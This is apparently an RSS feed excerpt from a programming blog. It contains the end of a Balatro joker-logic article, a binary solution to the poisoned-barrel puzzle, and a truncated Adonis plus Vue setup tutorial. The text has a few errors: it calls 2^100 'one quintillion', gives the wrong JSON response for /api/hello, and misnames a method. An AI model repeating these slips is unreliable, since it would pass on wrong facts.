<p>Using this joker already breaks our code to identify straights and flushes as it should still count when there's an invalid 5th card in the mix. Time to fix it!</p>
<p>Let's first look at the old &quot;flush&quot; code:</p>
<pre class="hljs"><code>matches(playedCards) {
  <span class="hljs-keyword">if</span> (given.array(playedCards).unique(<span class="hljs-string">'suit'</span>).length === <span class="hljs-number">1</span>) {
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: playedCards }
  }
}
</code></pre>
<p>To fix this, we shouldn't check if there's just one suit available, instead, we check for the suit with the most cards and return those. The &quot;determineHandRanking&quot; function already checks for us if the minimum cards were played.</p>
<pre class="hljs"><code>matches(playedCards) {
  <span class="hljs-keyword">const</span> scoringCards = given.array(playedCards)
    .groupBy(<span class="hljs-string">'suit'</span>)
    .values()
    .sortDesc(<span class="hljs-function"><span class="hljs-params">cards</span> =&gt;</span> cards.length)
    .first()

  <span class="hljs-keyword">return</span> scoringCards ? { scoringCards } : <span class="hljs-literal">false</span>
}
</code></pre>
<p>With this, the next flush-related joker is &quot;Hearts and Diamonds count as the same suit, Spades and Clubs count as the same suit&quot; is trivial to implement.</p>
<p>To do so, we can replace the &quot;matches&quot; method with a custom one which reduces the four suits into just two:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ReducedSuitsJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  modifySetup(round) {
    <span class="hljs-keyword">const</span> redSuits = [<span class="hljs-string">'heart'</span>, <span class="hljs-string">'diamond'</span>]
    round.handRankings.flush.matches = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">playedCards</span>) </span>{
      <span class="hljs-keyword">const</span> scoringCards = given.array(playedCards)
        <span class="hljs-comment">// This is the only change</span>
        .groupBy(<span class="hljs-function"><span class="hljs-params">c</span> =&gt;</span> redSuits.includes(c.suit) ? <span class="hljs-string">'red'</span> : <span class="hljs-string">'black'</span>)
        .values()
        .sortDesc(<span class="hljs-function"><span class="hljs-params">cards</span> =&gt;</span> cards.length)
        .first()

      <span class="hljs-keyword">return</span> scoringCards ? { scoringCards } : <span class="hljs-literal">false</span>
    }
  }
}
</code></pre>
<hr>
<p>Finally, we have the joker &quot;Allows Straights to be made with gaps of 1 rank&quot;.</p>
<p>For memory, this is the old logic for straights:</p>
<pre class="hljs"><code>matches(playedCards) {
  <span class="hljs-keyword">if</span> (given.array(playedCards).map(<span class="hljs-function">(<span class="hljs-params">c, idx</span>) =&gt;</span> c.getRank() - idx).unique().length === <span class="hljs-number">1</span>) {
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">scoringCards</span>: playedCards }
  }
}
</code></pre>
<p>This one is indeed a bit tricky having to consider both the &quot;only 4 cards&quot; and &quot;can contain a gap&quot; jokers.</p>
<p>Let's first look at the new code to allow for 4 cards to be played:</p>
<pre class="hljs"><code>isNextValid(previous, next) {
  <span class="hljs-keyword">return</span> previous.getRank() + <span class="hljs-number">1</span> === next.getRank()
},
matches(playedCards) {
  <span class="hljs-keyword">let</span> scoringCards = []
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> card <span class="hljs-keyword">of</span> playedCards) {
    <span class="hljs-keyword">const</span> previous = scoringCards.at(<span class="hljs-number">-1</span>)
    <span class="hljs-keyword">if</span> (!previous || <span class="hljs-keyword">this</span>.straight.isNextValid(previous, card)) {
      scoringCards.push(card)
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (scoringCards.length === <span class="hljs-number">1</span>) {
      <span class="hljs-comment">// reset as first card must have been wrong, second chance with the remaining 4 cards</span>
      scoringCards = [card] 
    }
  }
  <span class="hljs-keyword">return</span> { scoringCards }
}
</code></pre>
<p>This new &quot;matches&quot; method is a lot more procedural but allows for a fifth invalid card in the beginning, middle, or end.
We also broke out the actual comparison between previous and next into a new method &quot;isNextValid&quot;.</p>
<p>Now we can easily implement the &quot;can contain gaps&quot; joker by overriding only the tiny method &quot;isValidNext&quot; accordingly!</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SkipNumberStaightJoker</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Joker</span> </span>{
  modifySetup(round) {
    round.handRankingOptions.straight.isNextValid= <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">previous, next</span>) </span>{
      <span class="hljs-keyword">return</span> (!previous || (previous.getRank() + <span class="hljs-number">1</span> === next.getRank()) ||  (previous.getRank() + <span class="hljs-number">2</span> === next.getRank()))
    }
  }
}
</code></pre>
<p>We could do the same with flush but I thought its code was very straight forward compared to identifying straights.</p>
<p>And here you can see a test with four different jokers combined!</p>
<pre class="hljs"><code>it(<span class="hljs-string">'can combine various straight and flush jokers together'</span>, () =&gt; {
  <span class="hljs-keyword">const</span> jokers = [<span class="hljs-keyword">new</span> Joker.SkipNumberStaightJoker, <span class="hljs-keyword">new</span> Joker.SmallStraightFlushJoker, <span class="hljs-keyword">new</span> Joker.FaceCardsAreSpadesJoker, <span class="hljs-keyword">new</span> Joker.ReducedSuitsJoker]

  <span class="hljs-keyword">const</span> cardsPlayed = [
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'7'</span>, <span class="hljs-string">'spade'</span>),
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'9'</span>, <span class="hljs-string">'spade'</span>),
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'10'</span>, <span class="hljs-string">'club'</span>),
    <span class="hljs-keyword">new</span> PlayCard(<span class="hljs-string">'jack'</span>, <span class="hljs-string">'heart'</span>),
  ]
  <span class="hljs-keyword">const</span> {round} = calculateScore(cardsPlayed, jokers)
  expect(round.handRanking).toBe(<span class="hljs-string">'straightFlush'</span>)
})
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>And with that, we have completed the basic integration of Balatro's Joker system! The real game offers even more features such as card modifiers, blinds, etc. But I hope you got a good look into the game's mechanics and that you will give <a href="https://www.playbalatro.com/">the game</a> a try!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Binary To Solve the Poisoned Barrel Puzzle]]></title>
            <link>https://michaelzanggl.com/articles/binary-puzzle/</link>
            <guid>binary-puzzle</guid>
            <content:encoded><![CDATA[<p>A king has 100 barrels of wine, but one of them is poisoned. The poison only shows symptoms after 1 day, and he needs the wine soon after that.</p>
<p>Not wanting to take the risk, he decides to have prisoners test the wine. How many testers does he need to identify the poisoned barrel in just one round of testing?</p>
<p>Try solving it yourself, or read on for the solution!</p>
<hr>
<h2 id="initial-steps">Initial Steps</h2>
<p>The intuitive answer might be 100 testers, or perhaps 99, assuming that if no one shows symptoms, the final barrel would be the poisoned one. But in reality, we can manage with far fewer testers.</p>
<p>Let’s start small to see how this might work by looking at a simplified example with just three testers:</p>
<table>
<thead>
<tr>
<th>Barrel</th>
<th>Tester 1</th>
<th>Tester 2</th>
<th>Tester 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>B1</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>B2</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>B3</td>
<td></td>
<td></td>
<td>x</td>
</tr>
</tbody>
</table>
<p>In this setup, each tester only drinks from a single barrel. But the table demonstrates that there is clearly room for more tests to be made! What if we allow testers to combine efforts by tasting from multiple barrels?</p>
<table>
<thead>
<tr>
<th>Barrel</th>
<th>Tester 1</th>
<th>Tester 2</th>
<th>Tester 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>B1</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>B2</td>
<td></td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>B3</td>
<td></td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>B4</td>
<td>x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td>B5</td>
<td>x</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>B6</td>
<td></td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>B7</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>B8</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>With this setup, we can now identify barrels based on unique combinations of testers who show symptoms. For example, if only Tester 1 shows symptoms, it’s Barrel 1; if both Testers 1 and 2 show symptoms, then it’s Barrel 4, and so on.</p>
<hr>
<h2 id="binary-encoding">Binary Encoding</h2>
<p>For each barrel, each tester either drinks from it or doesn’t. This creates two possible states per tester, which we can encode in binary.</p>
<p>Let’s rewrite our previous table using binary (1 for drinking, 0 for not drinking):</p>
<table>
<thead>
<tr>
<th>Barrel</th>
<th>Tester 1</th>
<th>Tester 2</th>
<th>Tester 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>B1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>B2</td>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>B3</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>B4</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>B5</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>B6</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>B7</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>B8</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>Now, if we reorder the table by binary counting and complete it, we get:</p>
<table>
<thead>
<tr>
<th>Barrel</th>
<th>Tester 1</th>
<th>Tester 2</th>
<th>Tester 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>B1</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>B2</td>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>B3</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>B4</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>B5</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>B6</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>B7</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
<p>This table is now simply a mapping between decimal and binary! Each bit represents a tester, and each unique combination tells us which barrel they drank from.</p>
<h2 id="how-many-testers-are-needed-for-100-barrels%3F">How Many Testers Are Needed for 100 Barrels?</h2>
<p>Each additional tester (binary digit) doubles the number of barrels we can cover:</p>
<ul>
<li>With 3 testers, we cover &quot;2<sup>3</sup>=8&quot; barrels.</li>
<li>By doubling the barrels a few times &quot;2<sup>6</sup>=64&quot; almost gets us there.</li>
</ul>
<p>To cover all 100 barrels, we need &quot;2<sup>7</sup>=128&quot; combinations — so <strong>7 testers</strong> are enough.</p>
<p>Alternatively, the formulaic approach would be to use a logarithm: &quot;log<sub>2</sub>(100)≈6.64&quot; which rounds up to 7.</p>
<p>But there's an even easier solution, since we've created a mapping between decimal and binary above, all we need to do is convert the number 100 to binary (1100100), count the bits (7), and we get our answer!</p>
<h2 id="scaling-up">Scaling Up</h2>
<p>What's even more interesting is how efficiently this solution scales. For example, if you had 1,000 barrels instead of 100, you would only need 10 testers, and for 1,000,000 barrels, just 20 testers will be sufficient!</p>
<p>And if you still insist on getting 100 testers on board, well now you can test a whopping 1,267,650,600,228,229,401,496,703,205,376 (one quintillion) barrels!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build fullstack Javascript apps with Adonis and Vue]]></title>
            <link>https://michaelzanggl.com/articles/build-fullstack-js-apps-with-adonis-and-vue/</link>
            <guid>build-fullstack-js-apps-with-adonis-and-vue</guid>
            <description><![CDATA[Bringing together two amazing frameworks that allow us to build clean applications using only Javascript.]]></description>
            <content:encoded><![CDATA[<p>Today we want to bring together two amazing frameworks that allow us to build clean applications using only Javascript.
<a href="https://adonisjs.com/">Adonis</a> is a Laravel inspired web framework for Node, which carries over many of Laravel's features like an SQL ORM, authentication, migrations, mvc structure, etc.
<a href="https://vuejs.org/">Vue</a> is a frontend web framework to build single page applications (SPA) or just in general, apps that require interactivity. Just like React, it changes the way you think about and design the frontend.</p>
<p>You can find the code to this tutorial <a href="https://github.com/MZanggl/adonis-vue-demo">here</a>.</p>
<h2 id="project-setup">Project Setup</h2>
<h4 id="install-adonis-cli">Install Adonis CLI</h4>
<pre class="hljs"><code>npm install -g @adonisjs/cli
</code></pre>
<h4 id="create-adonis-project">Create Adonis Project</h4>
<pre class="hljs"><code>adonis new fullstack-app
<span class="hljs-built_in">cd</span> fullstack-app
</code></pre>
<x-ad />
<h2 id="webpack">Webpack</h2>
<h4 id="file-structure">File structure</h4>
<p>We want to create all our frontend JavaScript and Vue files inside <code>resources/assets/js</code>. Webpack will transpile these and place them inside <code>public/js</code>.
Let's create the necessary directory and file</p>
<pre class="hljs"><code>mkdir resources/assets/js -p
touch resources/assets/js/main.js
</code></pre>
<pre class="hljs"><code><span class="hljs-comment">// resources/assets/js/main.js</span>

<span class="hljs-keyword">const</span> test = <span class="hljs-number">1</span>
<span class="hljs-built_in">console</span>.log(test)
</code></pre>
<h2 id="get-webpack-rolling">Get Webpack Rolling</h2>
<p>People who come from a Laravel background might be familiar with <code>Laravel-Mix</code>. The good thing is that we can use Laravel Mix for our Adonis project as well. It takes away much of the configuration hell of webpack and is great for the 80/20 use case.
Start by installing the dependency and copy <code>webpack.mix.js</code> to the root directory of the project.</p>
<pre class="hljs"><code>npm install laravel-mix --save
cp node_modules/laravel-mix/setup/webpack.mix.js .
</code></pre>
<p><code>webpack.mix.js</code> is where all our configuration takes place. Let's configure it</p>
<pre class="hljs"><code><span class="hljs-comment">// webpack.mix.js</span>

<span class="hljs-keyword">let</span> mix = <span class="hljs-built_in">require</span>(<span class="hljs-string">'laravel-mix'</span>);

<span class="hljs-comment">// setting the public directory to public (this is where the mix-manifest.json gets created)</span>
mix.setPublicPath(<span class="hljs-string">'public'</span>)
<span class="hljs-comment">// transpiling, babelling, minifying and creating the public/js/main.js out of our assets</span>
    .js(<span class="hljs-string">'resources/assets/js/main.js'</span>, <span class="hljs-string">'public/js'</span>)



<span class="hljs-comment">// aliases so instead of e.g. '../../components/test' we can import files like '@/components/test'</span>
mix.webpackConfig({
    <span class="hljs-attr">resolve</span>: {
        <span class="hljs-attr">alias</span>: {
            <span class="hljs-string">"@"</span>: path.resolve(
                __dirname,
                <span class="hljs-string">"resources/assets/js"</span>
            ),
            <span class="hljs-string">"@sass"</span>: path.resolve(
                __dirname,
                <span class="hljs-string">"resources/assets/sass"</span>
            ),
        }
    }
 });
</code></pre>
<p>Also, be sure to remove the existing example to avoid crashes</p>
<pre class="hljs"><code>mix.js(<span class="hljs-string">'src/app.js'</span>, <span class="hljs-string">'dist/'</span>).sass(<span class="hljs-string">'src/app.scss'</span>, <span class="hljs-string">'dist/'</span>);
</code></pre>
<h4 id="adding-the-necessary-scripts">Adding the necessary scripts</h4>
<p>Let's add some scripts to our <code>package.json</code> that let us transpile our assets. Add the following lines inside <code>scripts</code>.</p>
<pre class="hljs"><code><span class="hljs-comment">// package.json</span>

<span class="hljs-string">"assets-dev"</span>: <span class="hljs-string">"node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development webpack --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"</span>,
<span class="hljs-string">"assets-watch"</span>: <span class="hljs-string">"node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development webpack --watch --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"</span>,
<span class="hljs-string">"assets-hot"</span>: <span class="hljs-string">"node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development webpack-dev-server --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js"</span>,
<span class="hljs-string">"assets-production"</span>: <span class="hljs-string">"node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=production webpack --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"</span>
</code></pre>
<p>We can execute <code>npm run assets-watch</code> to keep a watch over our files during development. Running the command should create two files: <code>public/mix-manifest.json</code> and <code>public/js/main.js</code>. It is best to gitignore these generated files as they can cause a lot of merge conflicts when working in teams...</p>
<h2 id="routing">Routing</h2>
<p>Since we are building a SPA, Adonis should only handle routes that are prefixed with <code>/api</code>. All other routes will get forwarded to vue, which will then take care of the routing on the client side.
Go inside <code>start/routes.js</code> and add the snippet below to it</p>
<pre class="hljs"><code><span class="hljs-comment">// start/routes.js</span>

<span class="hljs-comment">// all api routes (for real endpoints make sure to use controllers)</span>
Route.get(<span class="hljs-string">"hello"</span>, () =&gt; {
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">greeting</span>: <span class="hljs-string">"Hello from the backend"</span> };
}).prefix(<span class="hljs-string">"api"</span>)
Route.post(<span class="hljs-string">"post-example"</span>, () =&gt; {
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">greeting</span>: <span class="hljs-string">"Nice post!"</span> };
}).prefix(<span class="hljs-string">"api"</span>)

<span class="hljs-comment">// This has to be the last route</span>
Route.any(<span class="hljs-string">'*'</span>, ({view}) =&gt;  view.render(<span class="hljs-string">'app'</span>))
</code></pre>
<p>Let's take a look at this line: <code>Route.any('*', ({view}) =&gt;  view.render('app'))</code></p>
<p>The asterisk means <code>everything that has not been declared before</code>. Therefore it is crucial that this is the last route to be declared.</p>
<p>The argument inside <code>view.render</code> <code>app</code> is the starting point for our SPA, where we will load the <code>main.js</code> file we created earlier. Adonis uses the Edge template engine which is quite similar to blade. Let's create our view</p>
<pre class="hljs"><code>touch resources/views/app.edge
</code></pre>
<pre class="hljs"><code>// resources/views/app.edge

<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"X-UA-Compatible"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"ie=edge"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Adonis &amp; Vue App<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"app"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    {{ script('/js/main.js') }}
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>The global <code>script</code> function looks for files inside <code>resources/assets</code> and automatically creates the script tag for us.</p>
<h2 id="vue-setup">Vue Setup</h2>
<p>Let's install vue and vue router</p>
<pre class="hljs"><code>npm install vue vue-router --save-dev
</code></pre>
<p>And initialize vue in <code>resources/assets/js/main.js</code></p>
<pre class="hljs"><code><span class="hljs-comment">// resources/assets/js/main.js</span>

<span class="hljs-keyword">import</span> Vue <span class="hljs-keyword">from</span> <span class="hljs-string">'vue'</span>
<span class="hljs-keyword">import</span> router <span class="hljs-keyword">from</span> <span class="hljs-string">'./router'</span>
<span class="hljs-keyword">import</span> App <span class="hljs-keyword">from</span> <span class="hljs-string">'@/components/layout/App'</span>

Vue.config.productionTip = <span class="hljs-literal">false</span>


<span class="hljs-keyword">new</span> Vue({
  <span class="hljs-attr">el</span>: <span class="hljs-string">'#app'</span>,
  router,
  <span class="hljs-attr">components</span>: { App },
  <span class="hljs-attr">template</span>: <span class="hljs-string">'&lt;App/&gt;'</span>
})
</code></pre>
<p>In order to make this work we have to create <code>App.vue</code>. All layout related things go here, we just keep it super simple for now and just include the router.</p>
<pre class="hljs"><code>mkdir resources/assets/js/components/layout -p
touch resources/assets/js/components/layout/App.vue
</code></pre>
<pre class="hljs"><code>// /resources/assets/js/components/layout/App.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">router-view</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">router-view</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">name</span>: <span class="hljs-string">'App'</span>
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>We also have to create the client side router configuration</p>
<pre class="hljs"><code>mkdir resources/assets/js/router
touch resources/assets/js/router/index.js
</code></pre>
<pre class="hljs"><code><span class="hljs-comment">// resources/assets/js/router/index.js</span>

<span class="hljs-keyword">import</span> Vue <span class="hljs-keyword">from</span> <span class="hljs-string">'vue'</span>
<span class="hljs-keyword">import</span> Router <span class="hljs-keyword">from</span> <span class="hljs-string">'vue-router'</span>

Vue.use(Router)

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-keyword">new</span> Router({
    <span class="hljs-attr">mode</span>: <span class="hljs-string">'history'</span>, <span class="hljs-comment">// use HTML5 history instead of hashes</span>
    <span class="hljs-attr">routes</span>: [
        <span class="hljs-comment">// all routes</span>
    ]
})
</code></pre>
<p>Next, let's create two test components inside <code>resources/assets/js/components</code> to test the router.</p>
<pre class="hljs"><code>touch resources/assets/js/components/Index.vue
touch resources/assets/js/components/About.vue
</code></pre>
<pre class="hljs"><code>// resources/assets/js/components/Index.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Index<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">router-link</span> <span class="hljs-attr">to</span>=<span class="hljs-string">"/about"</span>&gt;</span>To About page<span class="hljs-tag">&lt;/<span class="hljs-name">router-link</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'Index'</span>,
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>And the second one</p>
<pre class="hljs"><code>// /resources/assets/js/components/About.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>About<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">router-link</span> <span class="hljs-attr">to</span>=<span class="hljs-string">"/"</span>&gt;</span>back To index page<span class="hljs-tag">&lt;/<span class="hljs-name">router-link</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'About'</span>,
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>The index component has a link redirecting to the about page and vice versa.
Let's go back to our router configuration and add the two components to the routes.</p>
<pre class="hljs"><code><span class="hljs-comment">// resources/assets/js/router/index.js</span>

<span class="hljs-comment">// ... other imports</span>
<span class="hljs-keyword">import</span> Index <span class="hljs-keyword">from</span> <span class="hljs-string">'@/components/Index'</span>
<span class="hljs-keyword">import</span> About <span class="hljs-keyword">from</span> <span class="hljs-string">'@/components/About'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-keyword">new</span> Router({
    <span class="hljs-comment">// ... other settings</span>
    <span class="hljs-attr">routes</span>: [
        {
            <span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>,
            <span class="hljs-attr">name</span>: <span class="hljs-string">'Index'</span>,
            <span class="hljs-attr">component</span>: Index
        },
        {
            <span class="hljs-attr">path</span>: <span class="hljs-string">'/about'</span>,
            <span class="hljs-attr">name</span>: <span class="hljs-string">'About'</span>,
            <span class="hljs-attr">component</span>: About
        },
    ]
})
</code></pre>
<h2 id="launch">Launch</h2>
<p>Let's launch our application and see what we've got. Be sure to have <code>npm run assets-watch</code> running, then launch the Adonis server using</p>
<pre class="hljs"><code>adonis serve --dev
</code></pre>
<p>By default Adonis uses port 3333, so head over to <code>localhost:3333</code> and you should be able to navigate between the index and about page.
Try going to <code>localhost:3333/api/hello</code> and you should get the following response in JSON: <code>{ greeting: &quot;Nice post!&quot; }</code>.</p>
<h2 id="bonus">Bonus</h2>
<p>We are just about done, there are just a few minor things we need to do to get everything working smoothly:</p>
<ul>
<li>CSRF protection</li>
<li>cache busting</li>
<li>deployment (Heroku)</li>
</ul>
<h4 id="csrf-protection">CSRF protection</h4>
<p>Since we are not using stateless (JWT) authentication, we have to secure our <em>POST</em>, <em>PUT</em> and <em>DELETE</em> requests using <a href="https://adonisjs.com/docs/4.1/csrf">CSRF protection</a>. Let's try to fetch the POST route we created earlier. You can do this from the devtools.</p>
<pre class="hljs"><code>fetch(<span class="hljs-string">'/api/post-example'</span>, { <span class="hljs-attr">method</span>: <span class="hljs-string">'post'</span> })
</code></pre>
<p>The response will be somthing like <code>POST http://127.0.0.1:3333/api/post-example 403 (Forbidden)</code> since we have not added the CSRF token yet. Adonis saves this token in the cookies, so let's install a npm module to help us retrieving it.</p>
<pre class="hljs"><code>npm install browser-cookies --save
</code></pre>
<p>To install npm modules I recommend shutting down the Adonis server first.</p>
<p>Next, add the following code to <code>main.js</code></p>
<pre class="hljs"><code><span class="hljs-comment">// resources/assets/js/main.js</span>

<span class="hljs-comment">// ... other code</span>

<span class="hljs-keyword">import</span> cookies <span class="hljs-keyword">from</span> <span class="hljs-string">'browser-cookies'</span>;

<span class="hljs-function">(<span class="hljs-params"><span class="hljs-keyword">async</span> (</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> csrf = cookies.get(<span class="hljs-string">'XSRF-TOKEN'</span>)
    <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'/api/post-example'</span>, {
        <span class="hljs-attr">method</span>: <span class="hljs-string">'post'</span>,
        <span class="hljs-attr">headers</span>: {
            <span class="hljs-string">'Accept'</span>: <span class="hljs-string">'application/json'</span>,
            <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>,
            <span class="hljs-string">'x-xsrf-token'</span>: csrf,
        },
    });

    <span class="hljs-keyword">const</span> body = <span class="hljs-keyword">await</span> response.json()

    <span class="hljs-built_in">console</span>.log(body)
})()
</code></pre>
<p>This should give us the desired result in the console! I recommend extracting this into a module. Of course you can also use a library like axios instead.</p>
<h4 id="cache-busting">Cache Busting</h4>
<p><a href="https://www.keycdn.com/support/what-is-cache-busting">Cache Busting</a> is a way to make sure that our visitors always get the latest assets we serve.
To enable it, start by adding the following code to <code>webpack.mix.js</code></p>
<pre class="hljs"><code><span class="hljs-comment">// webpack.mix.js</span>

mix.version()
</code></pre>
<p>If you <em>restart</em> <code>npm run assets-watch</code>, you should see a change inside <code>mix-manifest.json</code></p>
<pre class="hljs"><code><span class="hljs-comment">// public/mix-manifest.json</span>

{
    <span class="hljs-attr">"/js/main.js"</span>: <span class="hljs-string">"/js/main.js?id=e8f10cde10741ed1abfc"</span>
}
</code></pre>
<p>Whenever we make changes to <code>main.js</code> the hash will change. Now we have to create a hook so we can read this JSON file in our view.</p>
<pre class="hljs"><code>touch start/hooks.js
</code></pre>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { hooks } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@adonisjs/ignitor'</span>)
<span class="hljs-keyword">const</span> Helpers = use(<span class="hljs-string">'Helpers'</span>)

<span class="hljs-keyword">const</span> mixManifest = <span class="hljs-built_in">require</span>(Helpers.publicPath(<span class="hljs-string">'mix-manifest.json'</span>))

hooks.after.providersBooted(<span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> View = use(<span class="hljs-string">'View'</span>)
    View.global(<span class="hljs-string">'versionjs'</span>, (filename) =&gt; {
        filename = <span class="hljs-string">`/js/<span class="hljs-subst">${filename}</span>.js`</span>
        <span class="hljs-keyword">if</span> (!mixManifest.hasOwnProperty(filename)) {
